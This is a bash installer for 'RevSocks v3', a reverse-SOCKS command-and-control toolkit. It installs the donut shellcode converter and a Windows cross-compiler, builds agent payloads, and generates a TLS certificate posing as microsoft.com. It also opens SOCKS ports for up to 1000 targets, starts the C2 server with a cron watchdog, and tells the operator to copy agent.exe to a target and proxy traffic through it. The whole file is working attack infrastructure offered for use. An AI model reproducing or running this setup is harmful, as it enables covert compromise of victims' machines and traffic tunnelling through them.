#!/bin/bash
#
# install.sh — RevSocks v3 Interactive Installer
# Installs deps, configures firewall, generates creds, builds, deploys
#
# Usage: ./install.sh
#

set -e

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[1;36m'
NC='\033[0m'

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
OUTPUT_DIR="${SCRIPT_DIR}/output"

# ============================================================
header() {
    echo ""
    echo -e "${CYAN}+=============================================+${NC}"
    echo -e "${CYAN}|       REVSOCKS v3 INSTALLER                 |${NC}"
    echo -e "${CYAN}+=============================================+${NC}"
    echo ""
}

ask() {
    local prompt="$1"
    local default="$2"
    local var="$3"
    if [ -n "$default" ]; then
        read -rp "$(echo -e "${YELLOW}${prompt} [${default}]: ${NC}")" input
        eval "$var=\"${input:-$default}\""
    else
        read -rp "$(echo -e "${YELLOW}${prompt}: ${NC}")" input
        eval "$var=\"$input\""
    fi
}

ask_yn() {
    local prompt="$1"
    local default="${2:-y}"
    local var="$3"
    read -rp "$(echo -e "${YELLOW}${prompt} [${default}]: ${NC}")" input
    input="${input:-$default}"
    case "$input" in
        [yY]*) eval "$var=yes" ;;
        *) eval "$var=no" ;;
    esac
}

ok()   { echo -e "  ${GREEN}[+]${NC} $1"; }
warn() { echo -e "  ${YELLOW}[!]${NC} $1"; }
fail() { echo -e "  ${RED}[-]${NC} $1"; }

# ============================================================
header

if [ "$EUID" -ne 0 ]; then
    fail "Run as root: sudo ./install.sh"
    exit 1
fi

# ============================================================
# STEP 1: Gather info
# ============================================================
echo -e "${CYAN}--- Step 1: Configuration ---${NC}"
echo ""

# Server IP
DEFAULT_IP=$(ip -4 addr show scope global | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | head -1)
ask "Server IP (agents connect to this)" "$DEFAULT_IP" C2_IP

if [ -z "$C2_IP" ]; then
    fail "Server IP is required"
    exit 1
fi

# SOCKS credentials
if [ -f "${SCRIPT_DIR}/creds.txt" ]; then
    EXISTING_CREDS=$(cat "${SCRIPT_DIR}/creds.txt")
    echo -e "  Found existing creds: ${GREEN}${EXISTING_CREDS}${NC}"
    ask_yn "Keep existing credentials?" "y" KEEP_CREDS
    if [ "$KEEP_CREDS" = "yes" ]; then
        SOCKS_USER=$(echo "$EXISTING_CREDS" | cut -d: -f1)
        SOCKS_PASS=$(echo "$EXISTING_CREDS" | cut -d: -f2-)
    fi
fi

if [ -z "$SOCKS_USER" ]; then
    ask "SOCKS5 username" "user$(openssl rand -hex 3 2>/dev/null || echo $RANDOM)" SOCKS_USER
    ask "SOCKS5 password" "$(openssl rand -hex 12 2>/dev/null || echo $(date +%s)$RANDOM)" SOCKS_PASS
    echo "${SOCKS_USER}:${SOCKS_PASS}" > "${SCRIPT_DIR}/creds.txt"
    ok "Saved to creds.txt"
fi

# Tunnel port
ask "Tunnel port (agents connect here)" "443" TUNNEL_PORT

# Firewall
ask_yn "Configure UFW firewall?" "y" DO_UFW

# Install deps
ask_yn "Install system dependencies? (mingw, python3, openssl, donut)" "y" DO_DEPS

# Build
ask_yn "Build payloads after install?" "y" DO_BUILD

# Deploy
ask_yn "Start server after build?" "y" DO_DEPLOY

echo ""
echo -e "${CYAN}--- Summary ---${NC}"
echo -e "  Server IP    : ${GREEN}${C2_IP}${NC}"
echo -e "  Tunnel port  : ${GREEN}${TUNNEL_PORT}${NC}"
echo -e "  SOCKS auth   : ${GREEN}${SOCKS_USER}:${SOCKS_PASS}${NC}"
echo -e "  Install deps : ${DO_DEPS}"
echo -e "  UFW firewall : ${DO_UFW}"
echo -e "  Build        : ${DO_BUILD}"
echo -e "  Deploy       : ${DO_DEPLOY}"
echo ""
ask_yn "Proceed?" "y" CONFIRM
if [ "$CONFIRM" != "yes" ]; then
    echo "Aborted."
    exit 0
fi

# ============================================================
# STEP 2: Install dependencies
# ============================================================
if [ "$DO_DEPS" = "yes" ]; then
    echo ""
    echo -e "${CYAN}--- Step 2: Installing dependencies ---${NC}"

    if [ -f /etc/os-release ]; then
        . /etc/os-release
        OS=$ID
    else
        OS="unknown"
    fi
    ok "OS: $OS"

    case "$OS" in
        ubuntu|debian|kali)
            apt update -qq 2>/dev/null
            apt install -y -qq \
                python3 python3-pip gcc-mingw-w64-x86-64 \
                openssl tmux curl wget git ufw sshpass \
                2>/dev/null
            ok "APT packages installed"
            ;;
        fedora|centos|rhel|rocky|alma)
            dnf install -y -q \
                python3 python3-pip mingw64-gcc \
                openssl tmux curl wget git \
                2>/dev/null
            ok "DNF packages installed"
            ;;
        arch|manjaro)
            pacman -Sy --noconfirm --quiet \
                python python-pip mingw-w64-gcc \
                openssl tmux curl wget git ufw \
                2>/dev/null
            ok "Pacman packages installed"
            ;;
        *)
            warn "Unknown OS — install manually: python3, mingw-w64-gcc, openssl, tmux, git"
            ;;
    esac

    # Donut
    if ! command -v donut &>/dev/null; then
        echo -e "  ${YELLOW}Installing donut (PE → shellcode)...${NC}"
        cd /tmp
        rm -rf donut 2>/dev/null
        git clone --quiet https://github.com/TheWover/donut.git 2>/dev/null
        cd donut && make -s 2>/dev/null
        if [ -f "donut" ]; then
            cp donut /usr/local/bin/
            ok "donut installed"
        else
            warn "donut build failed — shellcode injection loaders won't work"
            warn "Install manually: https://github.com/TheWover/donut"
        fi
        cd "${SCRIPT_DIR}"
        rm -rf /tmp/donut
    else
        ok "donut already installed"
    fi
else
    echo ""
    echo -e "${CYAN}--- Step 2: Skipped (deps) ---${NC}"
fi

# ============================================================
# STEP 3: Firewall
# ============================================================
if [ "$DO_UFW" = "yes" ]; then
    echo ""
    echo -e "${CYAN}--- Step 3: Firewall ---${NC}"

    ufw --force enable 2>/dev/null || true
    ufw allow 22/tcp 2>/dev/null          # SSH
    ufw allow ${TUNNEL_PORT}/tcp 2>/dev/null  # Agent tunnel
    ufw allow 51222:52222/tcp 2>/dev/null     # SOCKS5 ports
    ufw deny 8443/tcp 2>/dev/null             # Block old file server port

    ok "UFW rules applied:"
    ok "  22/tcp     — SSH"
    ok "  ${TUNNEL_PORT}/tcp   — Agent tunnel"
    ok "  51222:52222 — SOCKS5 ports (1000 targets)"
    ok "  8443/tcp   — DENIED (no public file server)"
else
    echo ""
    echo -e "${CYAN}--- Step 3: Skipped (firewall) ---${NC}"
fi

# ============================================================
# STEP 4: Directory setup
# ============================================================
echo ""
echo -e "${CYAN}--- Step 4: Directory setup ---${NC}"

mkdir -p "${OUTPUT_DIR}"
mkdir -p "${OUTPUT_DIR}/shellcode_variants"
chmod +x "${SCRIPT_DIR}/rebuild.sh" 2>/dev/null
chmod +x "${SCRIPT_DIR}/watchdog.sh" 2>/dev/null

# Generate TLS cert if missing
if [ ! -f "${OUTPUT_DIR}/server.crt" ]; then
    openssl req -x509 -newkey rsa:2048 \
        -keyout "${OUTPUT_DIR}/server.key" \
        -out "${OUTPUT_DIR}/server.crt" \
        -days 3650 -nodes \
        -subj "/CN=microsoft.com" 2>/dev/null
    ok "TLS certificate generated"
else
    ok "TLS certificate exists"
fi

ok "Directories ready"

# ============================================================
# STEP 5: Build
# ============================================================
if [ "$DO_BUILD" = "yes" ]; then
    echo ""
    echo -e "${CYAN}--- Step 5: Building payloads ---${NC}"
    cd "${SCRIPT_DIR}"
    bash rebuild.sh "${C2_IP}"
else
    echo ""
    echo -e "${CYAN}--- Step 5: Skipped (build) ---${NC}"
    echo "  Run later: ./rebuild.sh ${C2_IP}"
fi

# ============================================================
# STEP 6: Deploy
# ============================================================
if [ "$DO_DEPLOY" = "yes" ] && [ "$DO_BUILD" = "yes" ]; then
    echo ""
    echo -e "${CYAN}--- Step 6: Starting server ---${NC}"

    # Kill existing
    tmux kill-session -t rs 2>/dev/null || true
    sleep 1

    # Fresh state
    echo '{"next_id":1,"next_socks_port":51222,"history":[],"targets":{}}' > "${OUTPUT_DIR}/targets.json"

    # Start
    tmux new-session -d -s rs "cd ${OUTPUT_DIR} && python3 server.py"
    sleep 3

    if ss -tlnp | grep -q ":${TUNNEL_PORT} "; then
        ok "Server running on port ${TUNNEL_PORT}"
    else
        fail "Server failed to start — check: tmux attach -t rs"
    fi

    # Setup watchdog cron
    CRON_LINE="*/30 * * * * ${SCRIPT_DIR}/watchdog.sh >> ${SCRIPT_DIR}/watchdog.log 2>&1"
    (crontab -l 2>/dev/null | grep -v "watchdog.sh"; echo "$CRON_LINE") | crontab -
    ok "Watchdog cron installed (every 30 min)"
else
    echo ""
    echo -e "${CYAN}--- Step 6: Skipped (deploy) ---${NC}"
fi

# ============================================================
# STEP 7: Verify
# ============================================================
echo ""
echo -e "${CYAN}--- Verification ---${NC}"

ERRORS=0
check() {
    if command -v "$1" &>/dev/null; then
        ok "$1"
    else
        fail "$1 — not found"
        ((ERRORS++)) || true
    fi
}

check python3
check x86_64-w64-mingw32-gcc
check openssl
check tmux
check donut

if ss -tlnp | grep -q ":${TUNNEL_PORT} "; then
    ok "Port ${TUNNEL_PORT} listening"
else
    warn "Port ${TUNNEL_PORT} not listening"
fi

# ============================================================
# DONE
# ============================================================
echo ""
echo -e "${GREEN}+=============================================+${NC}"
echo -e "${GREEN}|       INSTALLATION COMPLETE                 |${NC}"
echo -e "${GREEN}+=============================================+${NC}"
echo ""
echo -e "  ${CYAN}Server CLI:${NC}    tmux attach -t rs"
echo -e "  ${CYAN}Rebuild:${NC}       ./rebuild.sh ${C2_IP}"
echo -e "  ${CYAN}Credentials:${NC}   ${SOCKS_USER}:${SOCKS_PASS}"
echo ""
echo -e "  ${CYAN}Deliver to target:${NC}"
echo -e "    Copy ${GREEN}agent.exe${NC} to target and run it"
echo -e "    Agent connects back → appears in CLI → SOCKS5 proxy ready"
echo ""
echo -e "  ${CYAN}Use proxy:${NC}"
echo -e "    curl --socks5 ${SOCKS_USER}:${SOCKS_PASS}@127.0.0.1:51222 http://TARGET"
echo ""
